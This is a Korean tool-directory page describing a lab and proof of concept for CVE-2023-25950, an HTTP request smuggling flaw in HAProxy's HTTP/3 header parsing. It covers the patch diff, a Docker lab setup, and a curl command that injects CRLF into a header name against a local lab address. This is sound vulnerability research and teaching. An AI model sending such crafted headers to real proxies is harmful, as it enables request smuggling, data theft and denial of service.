Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTTP3ONSTEROIDS — PoC 및 CVE-2023-25950을 위한 실험 환경: HAProxy의 HTTP/3 구현에서 잘못된 형식의 헤더 필드를 통한 HTTP 요청 밀반입으로 DoS 및 데이터 도용을 가능하게 함. | Kitploit
도구/GitHubGitHub/dhmosfunk/http3onsteroids
Vulnerability AnalysisWeb Application ExploitationLearning & EducationLabs & Practice
GitHubdhmosfunk/http3onsteroids

HTTP3ONSTEROIDS

PoC 및 CVE-2023-25950을 위한 실험 환경: HAProxy의 HTTP/3 구현에서 잘못된 형식의 헤더 필드를 통한 HTTP 요청 밀반입으로 DoS 및 데이터 도용을 가능하게 함.

저장소 보기
11221년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

목차

  • 취약점 설명
    • 소스 코드 리뷰
  • 실습 환경 설정
    • 문제 식별
  • 참고 자료

취약점 설명

HAProxy의 HTTP/3 구현이 잘못된 형식의 HTTP 헤더 필드 이름을 차단하지 못하며, 이 잘못된 형식의 헤더를 잘못 처리하는 서버 앞에 배포될 경우 HTTP 요청/응답 스머글링 공격을 수행하는 데 사용될 수 있습니다. 원격 공격자가 합법적인 사용자의 요청을 변경할 수 있습니다. 그 결과, 공격자는 민감한 정보를 얻거나 서비스 거부(DoS) 상태를 유발할 수 있습니다.

https://jvn.jp/en/jp/JVN38170084/

소스 코드 리뷰

CVE에 대한 연구를 시작하기 전에 취약점 설명을 읽고 패치 커밋이 있는지 확인하는 것은 매우 좋은 접근 방식입니다.
제 경우에는 커밋이 있었으며, HAProxy 개발자들이 HTTP3 구현에서 표준 헤더를 파싱할 때 RFC 9114 4.1.2. Malformed Requests and Responses 검사를 포함하는 것을 잊었다는 것이 분명합니다.

아래 패치 커밋을 참조하세요.

root@kitploit:~
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
        //struct ist scheme = IST_NULL, authority = IST_NULL;
        struct ist authority = IST_NULL;
        int hdr_idx, ret;
-       int cookie = -1, last_cookie = -1;
+       int cookie = -1, last_cookie = -1, i;
+
+       /* RFC 9114 4.1.2. Malformed Requests and Responses
+        *
+        * A malformed request or response is one that is an otherwise valid
+        * sequence of frames but is invalid due to:
+        * - the presence of prohibited fields or pseudo-header fields,
+        * - the absence of mandatory pseudo-header fields,
+        * - invalid values for pseudo-header fields,
+        * - pseudo-header fields after fields,
+        * - an invalid sequence of HTTP messages,
+        * - the inclusion of uppercase field names, or
+        * - the inclusion of invalid characters in field names or values.
+        *
+        * [...]
+        *
+        * Intermediaries that process HTTP requests or responses (i.e., any
+        * intermediary not acting as a tunnel) MUST NOT forward a malformed
+        * request or response. Malformed requests or responses that are
+        * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+        */
 
        TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
 
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
                if (isteq(list[hdr_idx].n, ist("")))
                        break;
 
+               for (i = 0; i < list[hdr_idx].n.len; ++i) {
+                       const char c = list[hdr_idx].n.ptr[i];
+                       if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+                               TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+                               return -1;
+                       }
+               }
+
                if (isteq(list[hdr_idx].n, ist("cookie"))) {
                        http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
                        continue;

Repositories - haproxy-2.7.git/commit

아래에서 HAProxy 2.7.0의 표준 헤더 처리 구현에서 헤더 이름 검증이 누락된 코드를 확인할 수 있습니다.

root@kitploit:~
/* 
src/h3.c 
lines: 413 - 428
*/

/* now treat standard headers */
hdr_idx = 0;
while (1) {
    if (isteq(list[hdr_idx].n, ist("")))
        break;
    if (isteq(list[hdr_idx].n, ist("cookie"))) {
        http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
        continue;
    }
    if (!istmatch(list[hdr_idx].n, ist(":")))
        htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
    ++hdr_idx;
}

아래에서 헤더 이름이 유효한지 확인하는 코드를 확인할 수 있습니다.

코드는 헤더 필드 이름의 각 문자를 반복하는 for 루프로 시작합니다. 루프는 i = 0부터 i < list[hdr_idx0.n.len]까지 실행되며, 여기서 list는 헤더 정보를 포함하는 배열 또는 구조체이고 hdr_idx는 검사 중인 특정 헤더를 나타내는 인덱스입니다.
루프 내부에서 코드는 헤더 필드 이름에서 현재 문자 c를 추출합니다. list[hdr_idx].n.ptr[i]는 헤더 필드 이름의 i번째 위치에 있는 문자에 접근합니다. 코드의 다음 부분에는 if 문이 포함되어 있습니다. 현재 문자 c가 다음 두 조건 중 하나를 만족하는지 확인합니다.

  • (uint8_t)(c - 'A') < 'Z' - 'A': 이는 c에서 'A'를 뺀 후 uint8_t로 캐스팅하여 문자가 대문자(A~Z)인지 확인합니다. 결과가 'Z'와 'A'의 차이보다 작으면 문자는 대문자입니다.
  • !HTTP_IS_TOKEN(c): 이 조건은 문자가 유효한 HTTP 토큰 문자인지 확인합니다. HTTP_IS_TOKEN은 먼저 헤더 이름에 토큰이 포함되어 있는지 확인합니다. 토큰은 HTTP 프로토콜에서 예약된 문자가 아닌 연속된 문자입니다. 예약된 문자는 HTTP 프로토콜에서 특별한 의미를 가지는 문자로, 예를 들어 :, /, ?, # 등이 있습니다.
root@kitploit:~
/* 
src/h3.c 
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
    const char c = list[hdr_idx].n.ptr[i];
    if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
        TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
        return -1;
    }
}

실습 환경 설정

전체 실습 환경은 Docker에서 실행됩니다. 다음 명령어로 실습 환경을 실행할 수 있습니다.

  1. cd /lab
  2. docker-compose up --build

Docker 빌드는 15~20분 정도 소요됩니다.
그러나 실습 환경을 실행하기 전에 몇 가지 설정을 변경해야 합니다.

/lab/haproxy/conf/haproxy.cfg

root@kitploit:~
...
default_backend api_server

backend api_server
  balance roundrobin
  server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4

/etc/hosts

root@kitploit:~
[YOUR-LOCAL-IPv4]   foo.com

/lab/docker-compose.yml
인수 값을 'vuln' 또는 'patched' 로 변경하여 취약한 버전 또는 패치된 버전 중에서 선택하여 테스트할 수 있습니다.

root@kitploit:~
...
    args:
        - haproxy_version=patched || vuln
...

마지막으로 minica.crt 인증서를 브라우저에 가져오세요.

⚠️ 실습 환경은 Linux 환경에서 실행하시기 바랍니다.

문제 식별

다음 curl 요청을 전송합니다.

  • curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/

취약한 버전 응답:

root@kitploit:~
HTTP/3 200 
server: Werkzeug/2.3.6 Python/3.8.17  
date: Sat, 12 Aug 2023 13:10:52 GMT   
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;

Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- 잘못된 형식의 헤더

패치된 버전 응답:

root@kitploit:~
curl: (56) HTTP/3 stream 0 reset by server

위 결과를 바탕으로, 해당 응답은 취약한 버전의 HAProxy가 \r\n 접두사를 백엔드 서버로 통과시킨 반면, 패치된 버전은 클라이언트와 HAProxy 간의 연결을 끊었음을 나타냅니다.


공격자는 백엔드 동작과 백엔드 서버가 잘못된 형식의 헤더를 처리하는 방식에 따라 HTTP 요청 스머글링 공격을 수행할 수 있습니다. 제 생각에 가장 큰 우려는 공격자가 위 CVE를 악용하여 서비스 거부(DoS) 공격을 수행할 수 있다는 점입니다.

참고 자료:

https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html

도구 다운로드